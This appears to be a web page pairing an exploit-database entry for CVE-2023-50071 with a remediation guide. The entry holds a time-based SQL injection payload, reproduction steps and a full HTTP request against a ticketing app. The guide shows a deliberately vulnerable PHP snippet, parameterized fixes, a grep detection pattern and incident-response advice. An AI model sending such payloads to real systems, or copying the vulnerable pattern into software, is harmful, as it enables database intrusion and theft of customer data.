CVE-2023-50071 - Multiple SQL Injection
# Exploit Title: Customer Support System 1.0 - Multiple SQL injection
vulnerabilities
# Date: 15/12/2023
# Exploit Author: Geraldo Alcantara
# Vendor Homepage:
https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
# Software Link:
https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows
# CVE : CVE-2023-50071
*Description*: Multiple SQL injection vulnerabilities in
/customer_support/ajax.php?action=save_ticket in Customer Support
System 1.0 allow authenticated attackers to execute arbitrary SQL
commands via department_id, customer_id and subject.*Payload*:
'+(select*from(select(sleep(20)))a)+'
*Steps to reproduce*:
1- Log in to the application.
2- Navigate to the page /customer_support/index.php?page=new_ticket.
3- Create a new ticket and insert a malicious payload into one of the
following parameters: department_id, customer_id, or subject.
*Request:*
POST /customer_support/ajax.php?action=save_ticket HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------81419250823331111993422505835
Content-Length: 853
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_ticket
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko;
sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq;
PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="id"
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="subject"
teste'+(select*from(select(sleep(5)))a)+'
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="customer_id"
3
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="department_id"
4
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="description"
<p>Blahs<br></p>
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
-----------------------------81419250823331111993422505835-- CVE-2023-50071 — Multiple SQL Injection in Customer Support System 1.0
Summary: CVE-2023-50071 describes multiple SQL injection vulnerabilities in the Customer Support System 1.0 (SourceCodester sample application). Authenticated users can inject SQL via parameters used when creating a ticket (notably the department_id, customer_id and subject fields), allowing arbitrary SQL commands against the backend database. The vulnerability is the result of concatenating untrusted input into SQL statements without proper parameterization or validation.
Why this matters
- SQL injection (SQLi) can lead to data disclosure, data modification, authentication bypass, and remote code execution in severe cases.
- In an application that stores customer tickets, exploitation can expose sensitive customer data and internal notes, or corrupt records.
- Even seemingly low-privilege authenticated users can escalate impact if the database account has broad privileges.
Vulnerability details (high level)
| Vendor / Project | Customer Support System (SourceCodester sample) |
|---|---|
| Affected version | 1.0 (sample code distribution) |
| Vectors | ticket creation endpoint — parameters: department_id, customer_id, subject (authenticated) |
| Attack class | SQL Injection (time-based and other SQLi techniques reported) |
| Typical impact | Data exfiltration, data loss, unauthorized queries |
How the vulnerability typically appears in code
Vulnerable code patterns often concatenate HTTP input directly into SQL statements. Here is a representative (sanitized) example showing the problematic pattern:
<?php
// Vulnerable pattern (DO NOT USE)
$subject = $_POST['subject'];
$customer_id = $_POST['customer_id'];
$department_id = $_POST['department_id'];
$sql = "INSERT INTO tickets (subject, customer_id, department_id, description) VALUES (
'{$subject}', {$customer_id}, {$department_id}, '{$description}')";
$conn->query($sql);
?>
Explanation: This snippet places raw POST values directly into an SQL string. Any single quote, special token, or crafted input will be interpreted by the database engine as part of the SQL, enabling injection.
Safe fixes — use parameterized queries
The best fix is to stop concatenating input into SQL and use prepared statements with bound parameters. Examples below show safe implementations using PDO and MySQLi.
<?php
// Secure example using PDO (recommended)
$pdo = new PDO('mysql:host=localhost;dbname=appdb;charset=utf8mb4', $user, $pass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare('INSERT INTO tickets (subject, customer_id, department_id, description)
VALUES (:subject, :customer_id, :department_id, :description)');
$stmt->execute([
':subject' => $_POST['subject'] ?? '',
':customer_id' => (int)($_POST['customer_id'] ?? 0),
':department_id' => (int)($_POST['department_id'] ?? 0),
':description' => $_POST['description'] ?? '',
]);
?>
Explanation: This PDO example prepares the SQL ahead of time and sends values separately. Named parameters (e.g., :subject) are bound to values by the driver, preventing interpretation of the input as SQL. Numeric cast enforces the expected type for ID fields.
<?php
// Secure example using MySQLi (prepared statements)
$mysqli = new mysqli('localhost', $user, $pass, 'appdb');
$stmt = $mysqli->prepare('INSERT INTO tickets (subject, customer_id, department_id, description) VALUES (?, ?, ?, ?)');
$subject = $_POST['subject'] ?? '';
$customer_id = (int)($_POST['customer_id'] ?? 0);
$department_id = (int)($_POST['department_id'] ?? 0);
$description = $_POST['description'] ?? '';
$stmt->bind_param('siis', $subject, $customer_id, $department_id, $description);
$stmt->execute();
$stmt->close();
$mysqli->close();
?>
Explanation: MySQLi prepared statements use placeholders (?) and bind_param to safely associate user input with the query. The first bind parameter string ('siis') enforces the types: string, integer, integer, string.
Additional secure-coding best practices
- Validate and sanitize inputs: enforce expected types and length limits (e.g., department_id and customer_id must be integers within valid ranges; subject length should be restricted).
- Use least-privilege database accounts: the DB user used by the application should only have necessary privileges (INSERT/SELECT/UPDATE on required tables), not DROP/DELETE or administrative rights.
- Output encoding: when showing user-supplied text in HTML, escape to avoid XSS.
- Use ORMs or higher-level database abstractions where possible—these typically reduce accidental concatenation.
- Keep libraries and dependencies up to date and monitor vendor advisories for patches.
Detecting and triaging
- Code review: search the codebase for patterns that concatenate superglobals ($_POST, $_GET, $_REQUEST) into SQL. Example grep pattern:
This flags obvious occurrences to inspect.grep -R --include="*.php" -n "INSERT INTO .*\\$_POST" . - Static analysis: run SAST tools that detect SQL concatenation and unsafe database usage.
- Runtime monitoring: look for anomalous query patterns, long-running queries, or time-based delays (a common sign of time-based SQLi tests). Instrument slow-query logging and alert when unusual latency spikes occur.
- Penetration testing: authorized pentests and safe automated scanners can identify SQLi. When testing, use non-destructive checks and coordinate with stakeholders.
Incident response and mitigation steps
- Contain: if exploitation is suspected, disable the vulnerable endpoint or restrict access to trusted users until a fix is deployed.
- Assess: review database logs for unexpected queries and check data integrity. Look for new users, large exports, or suspicious modifications.
- Rotate credentials: change database and service account passwords/keys if there is evidence of compromise.
- Patch: apply the secure-code fixes (parameterized queries + validation) and deploy to production after testing.
- Audit: perform a full code review for similar patterns across the codebase and roll out fixes consistently.
Hardening and prevention
- Implement Web Application Firewall (WAF) rules to block common SQLi payload signatures and to add another layer of protection (but do not rely on WAF as the only protection).
- Use defense-in-depth: combine input validation, prepared statements, least privilege, and monitoring.
- Adopt secure coding standards and train developers on injection risks.
- Run periodic automated scans and code reviews as part of CI/CD pipelines to catch regressions early.
Example migration checklist for affected installations
- Inventory: locate all endpoints that accept user input and interact with the database.
- Remediation: replace concatenated SQL with parameterized statements and add input validation for each endpoint.
- Test: functional tests + security tests (automated and manual) to verify fixes.
- Deploy: roll out fixes to staging then production with monitoring enabled to detect regressions.
- Post-deployment review: scan logs and queries for signs of ongoing exploitation.
References and further reading
- OWASP SQL Injection Prevention Cheat Sheet — practical patterns for avoiding SQLi.
- Secure use of PDO and MySQLi in PHP — documentation and examples for prepared statements.
- Vendor/sample project page — review any official patches or updated distributions when available.
Note: This article focuses on defensive measures and safe remediation. If you manage an affected installation, prioritize immediate containment and replacement of unsafe SQL code with parameterized queries, followed by validation, least-privilege configuration, and monitoring.